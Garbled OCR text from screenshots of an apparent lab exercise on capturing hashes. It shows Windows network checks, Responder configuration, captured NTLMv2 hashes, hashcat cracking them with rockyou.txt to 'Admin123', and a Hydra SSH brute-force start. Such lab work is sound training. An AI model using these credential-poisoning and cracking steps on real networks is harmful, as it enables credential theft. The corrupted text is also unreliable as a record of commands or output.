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Activity 1: Capturing Hashes (VirtualBox)
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Command Prompt
g : Microsoft Windows [Version 10.0.26100.1742]
2 Command Prompt . (c) Microsoft Corporation. All rights reserved.
Mot .
el Microsoft Windows [Version 10.6.26100.1742] B C:\Users\Olush>ipconfig
(c) Microsoft Corporation. All rights reserved
Windows IP Configuration
C:\Users\Olush>ipconfig
Windows IP Configuration 2 Ethernet adapter Ethernet:
Connection-specific DNS Suffix
Ethernet adapter Ethernet: Link-local IPv6 Address fe80: :aleb:5aa2:d792:1d98%6
< IPvU Address. . . . . S 10.0.2.15
Connection-specific DNS Suffix . : i Subnet Mask . . . . . . . . .. . : 255.255.255.0
Link-local IPv6 Address . @ fe80::f001:12fc:922:7795%6 Default Gateway . . . . . . . . 10.0.2.2
IPv4 Address. . S o v 210.8.2.15
Subnet Mask . . .« < wwios . o . o 255.255.255.0 C:\Users\Olush>|
y Default Gateway : 2
C:\Users\Olush>
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t (c) Microsoft Corporation. All rights reserved

7 Command Prompt

Nillaseieii Users\Olush>ipconfig
Windows IP Configuration C:\Users\Olush>ping 16.0
Pinging 10.0.2.15 with 32 bytes of data:

5
Ethernet adapter Ethernet: Reply from 10.0.2 bytes=32 time<lms
Reply from 10.6.2.15: bytes=32 time<lms

2

2

® 0o

Connection-specific DNS Suffix ReLTy From 16.8. bytes=32 time<lms
Link-local IPv6 Address . . . . . : fe80::f001:12fc:922:7795%6 Reply From 168 Eite time<ims TT
IPvl4 Address. . . . . . . . . . : 10.0.2.15
Subnet Mask - - a e 8 - : 255.255.255.0 Ping statistics for 10.6.2.15:
Default Gateway . . c ... 110.0.2.2 Packets: Sent = 4, Received = 4, Lost = 0 (0% loss

Approximate round trip times in milli-seconds:

C:\Users\Olush>ping 10.6.2.15 Minimum = @ms, Maximum = Oms, Average = Oms

%)
@

Pinging 10.0.2.15 with 32 bytes of data: B C:\users\Olush>

Reply from 10.6.2.15: bytes=32 time<lms TT C:\Users\Olush>ping 10.0.2.15
Reply from 10.0.2.15: bytes=32 time<lms TTL:

Reply from 10.0.2.15:

Reply from 10.0.2.15:

0
® ®

Pinging 10.0.2.15 with 32 bytes of data
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e # Network access
lissebioit
Belye Choose people to share with
Type a name and then click Add, or click the arrow to find someone.
|
Name Permission Level
2, olush Owner
Search % Share Cancel
B Qe 22 =@ - A~ Qo =
| o - = am - 1023 AM
- e m"Que2a2¢@ a @ ~eQoe 8

GOk &y S EE 8 e an

& HQuoi@acecmNvOo0RBROEOD@EAEAY & ~ W eem



Olush - VMware Workstation 17 Player

In-= 0

Player »

Edit

sponder -h

File Actions

$r

this
httg

http

To support
Github »
Paypal >

”n

Home
Laure
this

Author:
To kill

yonder

etho

basic
- DHCP

View Help

joct:
ithub.c
paypal.

(laurent.

CTRL

Network
wildcard
«10.0.0.21

ndx

sponder

gaffichg

allow

option
sts without

, you

faces

kali@kali: ~

Default:

DHCP

NTLM
Thi




Olush - VMware Workstation 17 Player
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File Actions Edit Help
*Responder.conf [Read-Only]

Ipet
WinNMm
SNNP
MQTT

i Custom challenge.
; Use "Random™ for generating a random challenge for each requests
Challenge = Random

; SQLite Database file
; Delete this file to re-capture previously captured
Database = Responder.db

; Default log file
Sessionlog = Responder-Session.log

; Poisoners log
Poisonersiog = Polisoners-Session.log

; Analyze mode log
Analyzelog » Analyzer-Session.log

; Dump Responder Config log:
ResponderConfigbump = Config-Responder.log

; Specific IP Addresses to respond to (default = All)

== C) (5\ [

= [layout] € 04 Apr,10:17 O

(Default)

Example: Respond¥o = 10 20 1.100-150, 10.20.3.10, fe80::¢0359:5¢c8f:24806:a4ca-akef, 2001

379:7334
RespondTo » 192.168.16.8

; Specific NBT-NS/LLMAR names to respond to (default = All)
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
iRespondToName = WPAD, DEV, PROD, SQLINT

-
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kali: fusr/share/responder

Actions Edit View Help

Options:

Names
MDNS TLD

Session Variable
Machine Nam
Nam

Port

Training

NT LMy
NTLMy2
NTLMy2

Best maten

ANT92.968.96 T\Users,

"o >

2.168.00.T\Usors

WIS2. 160,96 T\Users\Server
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View Help

Home
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kali@kati: fusr/share/responderc/t
Edit View Help

/usr/share/responder

/usr/share/responder/logs

log Poison sion.log
.log sponder =ion.log
/usr/share/responder/logs
SMB-NTLMV2-SSP-foB0 :: FOF2: Fad6:08e719d55. txt
« 297 2 Fa0dfcO97:040411
00540036004CO001001E00S5
500320051003B005A004 FO0
3I0041004CO0005001
000001000000002
00000

b DGOG51901

7O040004LEQD
Trainine

1IDBODOBO1IFFA:010100000000000080F67DCDSG3CDBO1ICIELBAS 7CEIDSEIFODO000E
DOP340053004F0055003200510038005A004F0050004D0004003400570049004E002D0034
50004DRO2EVBLCOO540036004CO02EN04CO0LFODLI0041004CO0030014004CR0540036004CAD2ZEDD!
DO4COO2ENOLCROLFO0430041004CO007000B0080F67DCDS63CDEN1060004000200000008003000
1I6D4ABEAIAFBEDS11F7EC21088FD4A22F \76E2C00A0010000000000
1002F0031000000000000000000
:5FS6BSE 533D61F
P1EQOS 70049004E0D2D0034005
;10038005A004FO050004D0O2EODAL(
VO050014004C005400
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Gy
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JLAFOO55003 IOOSAV0LFO0S0004DOO2ZEG

4609083010100
1200510038
30041004C 0O540036004(

140052004F00 0510038005A004F0050004D00040024005
14COO540036004CO V04FODAI0041004CODRIVOT14O04C
OO2EQO4LCOOLFO04300410¢ B8OF67DCDS563C
C1D435FBI6GDABES 21088FD422F294A6367E709F
300069006600 73002F002100390032000000000000000000
. :b31ff0100d4094cf : 3A7851A53A29FDDCDAS7EDS
1 40036004CO001001E005 70049004 E002D00
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kali@kali: fusr/share/responder/logs

sponder ssion.log
ponder ra-Sess . SMB-NTLMv2-S5P-fe80

Zusr/share/responder/logs
Jusr/share/wordlists/rockyou.txt
rdlists/rockyou. txt

/usr/share/responder/logs
600 hash.txt Jusr/share/wordlists/rockyo
hashcat 2 starting

OpencL API (Op © PoCL 6.0+debian ' sserts, RELOC 5, SLEEF, DISTRO, POCL_DEBUG)
#1 [The pocl

Home

~ Device 2 E iybridge-11th Gen Intel(R) 7 37 @ 2.80GHz, 1085/2234 MB (512 MB allocatable
inimum passy 2 supported by kernel: ©
axi '\ passwor ipported by ke 1:

Training yashes: jes unique digests, 4 unique
Bitmaps 5536 entriec 00000 Fff

Optimizers appliec
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rated

watchdog: Temperature abort t

Host memory required for this
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' kali@kali: jusr/share/responder/logs

File Actions Edit View Help

30041004c00050014004c00540036004c002¢004c004100430041004c00070008 f67dcd563cdb01060004000200000008003000300000000000
000001000000002000008c1d435fb36d48e43afbbd ec21088fd422£294a63 d9f2881a €002001000000000000000000000000000000
0000009000e0063006900660073002100310039000000000000000000: Adminl23
SE b31ff0100d4e94cf:3a 29fddcda57ed53259e9dba:010100000000000080167dcd563cdb@1d64c055d73¢b851700000000020
008004c00540036004c0001001e00570049004e002d003400530040055003200510038005200410050004d00040034005700490042002d00340053
004f00550032005100380052004f0050004d002e004c00540036004c002e004c00400430041004c00030014004c00540036004C0022004c0041004
30041004c00050014004c00540036004c002e004c004f00430041004c000700080080f67dcd563cdb01060004000200000008003000300000000000
000001000000002000008c1d435fb36d48e43afbbd511f7ec21088fd422294a6367e7d9f2881a76e2c002001000000000000000000000000000000
000000900180063006900660073002f00720061006d0073006f006d0065000000000000000000: Admin123
SERVE €9f0697de513e1db: 1c06b21a11135b411c75b47de4609d83 :010100000000000080167dcd563cdb8171ad67581c7d6bbedd0B0000020
008004c00540036004c0001001e00570049004e002d00340053004f00550032005100380052004f0050004d00040034005700490040002d00340053
004f0055003200510038005200410050004d002e004c00540036004c002004c004100430041004c00030014004c00540036004C002¢004c004f004
30041004c00050014004c00540036004c0020004c004f00430041004c000700080080f67dcd563cdb01060004000200000008003000300000000000
000001000000002000008c1d435fb36d48e43afbbd511f7ec21088fd4221294a6367e7d9f2881a76e2c002001000000000000000000000000000000
000000900100063006900660073002f003100390032000000000000000000: Admin123

Vin e i574170¢ < 73db0adb01{ a:01018020000000008067dcd563cdb01c9esba57ce3dB8e3 00000000020
008004c00540036004c0001001e005700 0340053004f005500320051003800520040050004d0004003400570049004e002d00340053
004f0055003200510038005200410050004d002e004c00540036004c002e004c00Lf00430041004c00030014004c00540036004c002e004c0041004
30041004c00050014004c00540036004c0022004c004f00430041004c00070008 7dcd563cdb01060004000200000008003000300000000000
600001000000002000008c1d435fb36d48e43afbbd511f7ec21088fd42212 €7 9f2881a76e2c00a001000000000000000000000000000000
0000009000c0063006900660073002f0031000000000000000000 : Admi

Session. ... : hashcat
Status.
Hash.Mode
Hash.Target.
Time.Star Th 212 *18 2024 (9 secs)
Time.Estimated . Tht 7 2024 (0 secs)
Kernel.Feature. :
Guess.Base aleai / 1are/wordlists/rockyou.txt)
Guess.Queu )
Speed.#1.. .
Recovered... D 4/4 (10 Digests (total), 4/4 (100.0
Progress.... : 8656896/ 540 (15.09%)
cted
Restore :
Restore.Sub.#1...: :3 Amplifier
Candidate.Engine. Generator
Candidates.#1. : Aflon IN7
Hardware.Mon.#1..:

Started: Thu Nov
Stopped: Thu Nov 2

/usr/share/responder/logs
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kali@kali: /

File Actions
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Jusr/share/wordlists/rockyou. txt

by van Hauser HC & Dav Maciejak . ¢ r in military

legal p g (th 5 N 10 » laws and ot}

Hydra - //eithub. / [ se ! c-t ; 1 23:30:44

[DATA] ma> s P . P | F 39 3 s : 14344399
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connect to ssh:
shal,um - ripe

Jusr/share/wordlists/rockyou, txt
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